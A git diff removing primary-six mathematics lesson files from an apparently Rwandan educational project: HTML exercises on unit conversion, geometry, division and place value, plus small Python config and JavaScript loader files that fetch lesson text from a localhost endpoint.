- <br />
- <br />
- 5. Add (4hl+803 dl)*5=.................dl
- <br />
- <br />
- 6. 8 tonnes+297 dag+904g=............g
- <br />
- <br />
- 7. Subtract 957 kg from 9 tonnes
- <br />
- 8. 6,895dam
- <sup>
-  2
- </sup>
- =..........................m
- <sup>
-  2
- </sup>
- <br />
- <br />
- 9. 35 ha +85 m
- <sup>
-  2
- </sup>
- =.....................cm
- <sup>
-  2
- </sup>
- <br />
- 10. The volume of firewood is 400 decisteres.Express this volume in dm
- <sup>
-  3
- </sup>
- .
- <br />
- 11. 845 dam
- <sup>
-  3
- </sup>
- =.............hl=..................t
- <br />
- <br />
- 12. 15 hrs 43min 49 sec +8 hrs 35min 29 sec =.....................
- <br />
- 13. 25hrs 56 min -20 hrs 52 min =..........................
- <br />
- 14. 2 hrs 80 min *3=
- <br />
- <br />
- 15. 10 hrs 35 min / 5 =..........
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a04/a.txt b/Save_Mathematics/P6/map611m01/map611m01a04/a.txt
deleted file mode 100644
index 4e23892..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a04/a.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- <strong>
-  Geometry
- </strong>
-</p>
-<p>
- 1.Name the following:
- <br />
- <br />
- a)Right angle
-</p>
-<h3>
- b) Obtuse angle
-</h3>
-<p>
- c) ocute angle
- <br />
- <br />
- 2. a) Find adjacent angle p137
- <br />
- b) Find complementary angle p138
- <br />
- c) Find supplementary angle p139
- <br />
- 3.Find the perimiter of the regular hexagon whose side is 24 m each.
- <br />
- <br />
- 4.What is the total surface area of a cube of side 19 cm.Find the volume of the same cube.
- <br />
- <br />
- 5. Calculate the volume of a cylinder whose radius is 14 cm and height 20 cm,P=3.14 .
- <br />
- <br />
- 6. What is the mode and range of the scores y below:
- <br />
- y{4;6;9;6;3;6;1;3;2;2;7}
- <br />
- <br />
- 7. Describe the two sets using the symbols for inclusion and non inclusion.
- <br />
- a) x={0;1;2;3;4;5;5;6;7;8;9}
- <br />
- y={3;5;7}
- <br />
- <br />
- b)A={Bananas;beans;potatoes;mangoes}
- <br />
- B={irish potatoes; cassava;rice}
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a04/description.py b/Save_Mathematics/P6/map611m01/map611m01a04/description.py
deleted file mode 100644
index 2c6ef92..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m01a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m01/map611m01a04/lesson.js b/Save_Mathematics/P6/map611m01/map611m01a04/lesson.js
deleted file mode 100644
index 437addf..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m01/map611m01a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m01/map611m01a04/source.txt b/Save_Mathematics/P6/map611m01/map611m01a04/source.txt
deleted file mode 100644
index 4e23892..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a04/source.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- <strong>
-  Geometry
- </strong>
-</p>
-<p>
- 1.Name the following:
- <br />
- <br />
- a)Right angle
-</p>
-<h3>
- b) Obtuse angle
-</h3>
-<p>
- c) ocute angle
- <br />
- <br />
- 2. a) Find adjacent angle p137
- <br />
- b) Find complementary angle p138
- <br />
- c) Find supplementary angle p139
- <br />
- 3.Find the perimiter of the regular hexagon whose side is 24 m each.
- <br />
- <br />
- 4.What is the total surface area of a cube of side 19 cm.Find the volume of the same cube.
- <br />
- <br />
- 5. Calculate the volume of a cylinder whose radius is 14 cm and height 20 cm,P=3.14 .
- <br />
- <br />
- 6. What is the mode and range of the scores y below:
- <br />
- y{4;6;9;6;3;6;1;3;2;2;7}
- <br />
- <br />
- 7. Describe the two sets using the symbols for inclusion and non inclusion.
- <br />
- a) x={0;1;2;3;4;5;5;6;7;8;9}
- <br />
- y={3;5;7}
- <br />
- <br />
- b)A={Bananas;beans;potatoes;mangoes}
- <br />
- B={irish potatoes; cassava;rice}
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a05/a.txt b/Save_Mathematics/P6/map611m01/map611m01a05/a.txt
deleted file mode 100644
index 81b779a..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a05/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<p>
- <strong>
-  Remedial
- </strong>
-</p>
-<p>
- When you get money you need necessary to buy house;land;cow;feedings, then the money can be remained depending on the needs or equal to the needs.
- <br />
- <br />
- Answer the following:
- <br />
- 1.25488/4=
- <br />
- 2.8565/16=
- <br />
- 3.If the cost of 9 goats is 157000 F,what is the cost of one goat ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a05/description.py b/Save_Mathematics/P6/map611m01/map611m01a05/description.py
deleted file mode 100644
index 0f997cb..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m01a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m01/map611m01a05/lesson.js b/Save_Mathematics/P6/map611m01/map611m01a05/lesson.js
deleted file mode 100644
index 0a68e17..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m01/map611m01a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m01/map611m01a05/source.txt b/Save_Mathematics/P6/map611m01/map611m01a05/source.txt
deleted file mode 100644
index 81b779a..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a05/source.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<p>
- <strong>
-  Remedial
- </strong>
-</p>
-<p>
- When you get money you need necessary to buy house;land;cow;feedings, then the money can be remained depending on the needs or equal to the needs.
- <br />
- <br />
- Answer the following:
- <br />
- 1.25488/4=
- <br />
- 2.8565/16=
- <br />
- 3.If the cost of 9 goats is 157000 F,what is the cost of one goat ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/activities.js b/Save_Mathematics/P6/map611m02/activities.js
deleted file mode 100755
index fa6ce8b..0000000
--- a/Save_Mathematics/P6/map611m02/activities.js
+++ /dev/null
@@ -1,12 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m02a01','blue'],
-['2','2','map6','basic','map611m02a02','blue'],
-['3','3','map6','basic','map611m02a03','blue'],
-['4','4','map6','basic','map611m02a04','blue'],
-['5','5','map6','basic','map611m02a05','blue'],
-['6','6','map6','basic','map611m02a06','blue'],
-['7','7','map6','basic','map611m02a07','blue'],
-['8','8','map6','basic','map611m02a08','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m02/map611m02a01/a.txt b/Save_Mathematics/P6/map611m02/map611m02a01/a.txt
deleted file mode 100644
index fdab9dd..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a01/a.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- INTRODUCATIO:
-</p>
-<p>
- Breakdown numbers(place value and expended form), reading and writing numbers of 9-digits or more.
-</p>
-<p>
- In our daily life we use numbers ,in measuring water(1jerrycan or 20 litres).We use numbers when we talk about how many children do you have ?5 children.We use numbers in counting money or borrowing money from the bank every year.
- <br />
- <br />
- In this milestone ,we will be learning about numbers,big and small.We will talk millions of people, millions of francs,millions of cars at the market.We will talk about millions of tomatoes in a market.we will indicate the place value of each digit.We will learn how to breakdown, to read and to write them and how to write numerals in the expended form from a given number . Get excited!
- <br />
- <br />
- Here are some examples of big numbers:
-</p>
-<ul>
- <li>
-  For a person to build a modern house in Rwanda,it requires to possess at least 482,734,000 frw .
- </li>
- <li>
-  The construction of a hospital costs approximately 734,482,000 frw.
- </li>
-</ul>
-<p>
- Can you think of another big number?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a01/description.py b/Save_Mathematics/P6/map611m02/map611m02a01/description.py
deleted file mode 100644
index 4e481e7..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a01/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a01/lesson.js
deleted file mode 100644
index e31718a..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a01/source.txt b/Save_Mathematics/P6/map611m02/map611m02a01/source.txt
deleted file mode 100644
index fdab9dd..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a01/source.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- INTRODUCATIO:
-</p>
-<p>
- Breakdown numbers(place value and expended form), reading and writing numbers of 9-digits or more.
-</p>
-<p>
- In our daily life we use numbers ,in measuring water(1jerrycan or 20 litres).We use numbers when we talk about how many children do you have ?5 children.We use numbers in counting money or borrowing money from the bank every year.
- <br />
- <br />
- In this milestone ,we will be learning about numbers,big and small.We will talk millions of people, millions of francs,millions of cars at the market.We will talk about millions of tomatoes in a market.we will indicate the place value of each digit.We will learn how to breakdown, to read and to write them and how to write numerals in the expended form from a given number . Get excited!
- <br />
- <br />
- Here are some examples of big numbers:
-</p>
-<ul>
- <li>
-  For a person to build a modern house in Rwanda,it requires to possess at least 482,734,000 frw .
- </li>
- <li>
-  The construction of a hospital costs approximately 734,482,000 frw.
- </li>
-</ul>
-<p>
- Can you think of another big number?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a02/a.txt b/Save_Mathematics/P6/map611m02/map611m02a02/a.txt
deleted file mode 100644
index b9e2187..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a02/a.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- Guided Practice - Reading Numbers
-</p>
-<p>
- Here are some big numbers.  Click on the numbers to hear how to say them!
-</p>
-<p>
- 1) 200,000,000
-</p>
-<p>
- 2) 325,001,715
-</p>
-<p>
- 3) 211,110,987
-</p>
-<p>
- 4) 234,567,678
-</p>
-<p>
- Now try to read the following number and record its name: --&gt; 851,287,128
-</p>
-<p>
- (Have student record sound sample and play back against correct sound sample)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a02/description.py b/Save_Mathematics/P6/map611m02/map611m02a02/description.py
deleted file mode 100644
index f87bfba..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a02/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a02/lesson.js
deleted file mode 100644
index ec976d2..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a02/source.txt b/Save_Mathematics/P6/map611m02/map611m02a02/source.txt
deleted file mode 100644
index b9e2187..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a02/source.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- Guided Practice - Reading Numbers
-</p>
-<p>
- Here are some big numbers.  Click on the numbers to hear how to say them!
-</p>
-<p>
- 1) 200,000,000
-</p>
-<p>
- 2) 325,001,715
-</p>
-<p>
- 3) 211,110,987
-</p>
-<p>
- 4) 234,567,678
-</p>
-<p>
- Now try to read the following number and record its name: --&gt; 851,287,128
-</p>
-<p>
- (Have student record sound sample and play back against correct sound sample)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a03/a.txt b/Save_Mathematics/P6/map611m02/map611m02a03/a.txt
deleted file mode 100644
index 0a731c5..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a03/a.txt
+++ /dev/null
@@ -1,356 +0,0 @@
-<p>
- Guided Practice - using a table  Insert table
-</p>
-<p>
- Show the students how to breakdown numbers using table and the expended form.
-</p>
-<p>
- Insert table by:
- <br />
- hundred millions
- <br />
- ten millions
- <br />
- one millions
- <br />
- hundred thousands
- <br />
- ten thousands
- <br />
- one thousands
- <br />
- hundreds
- <br />
- tens
- <br />
- ones
- <br />
- <br />
- use the following numbers:
- <br />
- 851,287,128
- <br />
- 712,623,532
- <br />
- 112,921,982
- <br />
- 561,761,835
-</p>
-<table style="width: 763px; height: 184px;" border="1">
- <tbody>
-  <tr>
-   <td rowspan="2" width="10%" valign="top">
-    Numbers
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="10%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="10%" valign="top">
-    <br />
-    Thousands
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="10%" valign="top">
-    <br />
-    Units
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    Hundred
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Ten
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    One
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Hundred
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Ten
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    One
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Hundreds
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    a.851,287,178
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    b.133,931,135
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    c.566,869,672
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    d.234,567,678
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- From the above table, the place value of each digit in the number 851,287,128 is as follows:
- <br />
- 8 - hundred millions
- <br />
- 5- ten millions
- <br />
- 1 - one millions
- <br />
- 2 - hundred thousands
- <br />
- 8 - ten thousands
- <br />
- 7 - one thousands
- <br />
- 1 - hundreds
- <br />
- 2 - tens
- <br />
- 8 - ones
- <br />
- <br />
- <br />
- <br />
- <br />
- **When we read numbers, we say "millions", "thousands" or ones only after the ONE MILLION, ONE THOUSAND, or ONE place.
- <br />
- For example, in 851,287,128, we do not say:
- <br />
- eight hundred million fifty million one million two hundred thousand eighty thousand seven thousand one hundred twenty eight
- <br />
- NO!
- <br />
- We say it only after the ONE MILLION, ONE THOUSAND, or ONE place. (A good hint is to say it right before the comma!)
- <br />
- So, in 851,287,128, we say:
- <br />
- eight hundred fifty one MILLION, two hundred eighty seven THOUSAND, one hundred twenty eight
- <br />
- YES! :)
- <br />
- <br />
- <br />
- Now, fill in the following table for 712,623,632:
- <br />
- hundred millions -
- <br />
- ten millions - 1
- <br />
- one millions-
- <br />
- hundred thousands - 6
- <br />
- ten thousands -
- <br />
- one thousands -
- <br />
- hundreds -
- <br />
- tens -
- <br />
- ones - 2
- <br />
- <br />
- ***
- <span style="font-weight: bold;">
-  For the expended form
- </span>
- <br />
- <br />
- exampple1: Write this number 851,287,128 in the expeneded form:
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- this number can be writte s follows:
- <br />
- (8*100 000 000)+(5*10 000 000)+(1*1000 000)+(2*100 000)+(8*10 000)+(7*1 000)+(1*100)+(2*10)+(8)
- <br />
- <br />
- therefor 851,287,128= 800 000 000+50 000 000+1 000 000+200 000 +80 000+7000+100+20+8
- <br />
- <br />
- The number is as 851million, 287 thousand, 1hundred, 2 tens,8 ones.
- <br />
- <br />
- We reead this number as, eight hundred fifty one million, two hundred eighty seven thousand, one hundred twenty-eight.
- <br />
- <br />
- Example 2:
- <br />
- <br />
- Write this a single number:
- <br />
- 7*100 000 000+1*10 000 000+2*1 000 000+6*100 000+3*1 000+6*00+3*10+2
- <br />
- <br />
- <span style="font-weight: bold;">
-  answer:
- </span>
- <br />
- 712,603,632
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a03/description.py b/Save_Mathematics/P6/map611m02/map611m02a03/description.py
deleted file mode 100644
index 0a203ba..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m02/map611m02a03/lesson.js b/Save_Mathematics/P6/map611m02/map611m02a03/lesson.js
deleted file mode 100644
index 2a3abca..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m02/map611m02a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m02/map611m02a03/source.txt b/Save_Mathematics/P6/map611m02/map611m02a03/source.txt
deleted file mode 100644
index 0a731c5..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a03/source.txt
+++ /dev/null
@@ -1,356 +0,0 @@
-<p>
- Guided Practice - using a table  Insert table
-</p>
-<p>
- Show the students how to breakdown numbers using table and the expended form.
-</p>
-<p>
- Insert table by:
- <br />
- hundred millions
- <br />
- ten millions
- <br />
- one millions
- <br />
- hundred thousands
- <br />
- ten thousands
- <br />
- one thousands
- <br />
- hundreds
- <br />
- tens
- <br />
- ones
- <br />
- <br />
- use the following numbers:
- <br />
- 851,287,128
- <br />
- 712,623,532
- <br />
- 112,921,982
- <br />
- 561,761,835
-</p>
-<table style="width: 763px; height: 184px;" border="1">
- <tbody>
-  <tr>
-   <td rowspan="2" width="10%" valign="top">
-    Numbers
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="10%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="10%" valign="top">
-    <br />
-    Thousands
-    <br />
-    <br />
-   </td>
-   <td colspan="2" width="10%" valign="top">
-    <br />
-    Units
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    Hundred
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Ten
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    One
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Hundred
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Ten
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    One
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Hundreds
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Tens
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    Ones
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    a.851,287,178
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    b.133,931,135
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="10%" valign="top">
-    c.566,869,672
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-   <td width="10%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    d.234,567,678
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- From the above table, the place value of each digit in the number 851,287,128 is as follows:
- <br />
- 8 - hundred millions
- <br />
- 5- ten millions
- <br />
- 1 - one millions
- <br />
- 2 - hundred thousands
- <br />
- 8 - ten thousands
- <br />
- 7 - one thousands
- <br />
- 1 - hundreds
- <br />
- 2 - tens
- <br />
- 8 - ones
- <br />
- <br />
- <br />
- <br />
- <br />
- **When we read numbers, we say "millions", "thousands" or ones only after the ONE MILLION, ONE THOUSAND, or ONE place.
- <br />
- For example, in 851,287,128, we do not say:
- <br />
- eight hundred million fifty million one million two hundred thousand eighty thousand seven thousand one hundred twenty eight
- <br />
- NO!
- <br />
- We say it only after the ONE MILLION, ONE THOUSAND, or ONE place. (A good hint is to say it right before the comma!)
- <br />
- So, in 851,287,128, we say:
- <br />
- eight hundred fifty one MILLION, two hundred eighty seven THOUSAND, one hundred twenty eight
- <br />
- YES! :)
- <br />
- <br />
- <br />
- Now, fill in the following table for 712,623,632:
- <br />
- hundred millions -
- <br />
- ten millions - 1
- <br />
- one millions-
- <br />
- hundred thousands - 6
- <br />
- ten thousands -
- <br />
- one thousands -
- <br />
- hundreds -
- <br />
- tens -
- <br />
- ones - 2
- <br />
- <br />
- ***
- <span style="font-weight: bold;">
-  For the expended form
- </span>
- <br />
- <br />
- exampple1: Write this number 851,287,128 in the expeneded form:
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- this number can be writte s follows:
- <br />
- (8*100 000 000)+(5*10 000 000)+(1*1000 000)+(2*100 000)+(8*10 000)+(7*1 000)+(1*100)+(2*10)+(8)
- <br />
- <br />
- therefor 851,287,128= 800 000 000+50 000 000+1 000 000+200 000 +80 000+7000+100+20+8
- <br />
- <br />
- The number is as 851million, 287 thousand, 1hundred, 2 tens,8 ones.
- <br />
- <br />
- We reead this number as, eight hundred fifty one million, two hundred eighty seven thousand, one hundred twenty-eight.
- <br />
- <br />
- Example 2:
- <br />
- <br />
- Write this a single number:
- <br />
- 7*100 000 000+1*10 000 000+2*1 000 000+6*100 000+3*1 000+6*00+3*10+2
- <br />
- <br />
- <span style="font-weight: bold;">
-  answer:
- </span>
- <br />
- 712,603,632
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a04/a.txt b/Save_Mathematics/P6/map611m02/map611m02a04/a.txt
deleted file mode 100644
index fdc778e..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a04/a.txt
+++ /dev/null
@@ -1,73 +0,0 @@
-<p>
- Independent Practice: Student idenifying the place vallue
-</p>
-<p>
- For the following numbers, fill in the table and identify the underlined digits:
- <br />
- a) 1
- <span style="text-decoration: underline;">
-  8
- </span>
- 6,8
- <span style="text-decoration: underline;">
-  5
- </span>
- 5,81
- <span style="text-decoration: underline;">
-  1
- </span>
- <br />
- b)
- <span style="text-decoration: underline;">
-  1
- </span>
- 28,
- <span style="text-decoration: underline;">
-  2
- </span>
- 15,8
- <span style="text-decoration: underline;">
-  0
- </span>
- 7
- <br />
- c) 40
- <span style="text-decoration: underline;">
-  5
- </span>
- ,4
- <span style="text-decoration: underline;">
-  5
- </span>
- 6,
- <span style="text-decoration: underline;">
-  1
- </span>
- 48
- <br />
- d) 3
- <span style="text-decoration: underline;">
-  0
- </span>
- 4,90
- <span style="text-decoration: underline;">
-  1
- </span>
- ,5
- <span style="text-decoration: underline;">
-  8
- </span>
- 4
- <br />
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Note to creator: student needs to have a blank table to fill out.
- </span>
- <br style="color: #ff0000;" />
- <span style="color: #ff0000;">
-  Student needs space to define digits
- </span>
- <br />
- <br />
- **The place value of any given number can be identified without using a table, by counting digits from RIGHT to LEFT.&nbsp; The 1st three digits are units, the 2nd three digits are thousands, and the last three digits are millions!
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m02/map611m02a04/description.py b/Save_Mathematics/P6/map611m02/map611m02a04/description.py
deleted file mode 100644
index 0a03a24..0000000
--- a/Save_Mathematics/P6/map611m02/map611m02a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m02a04',week=0)
-
-
-java_script('lesson.js')
-
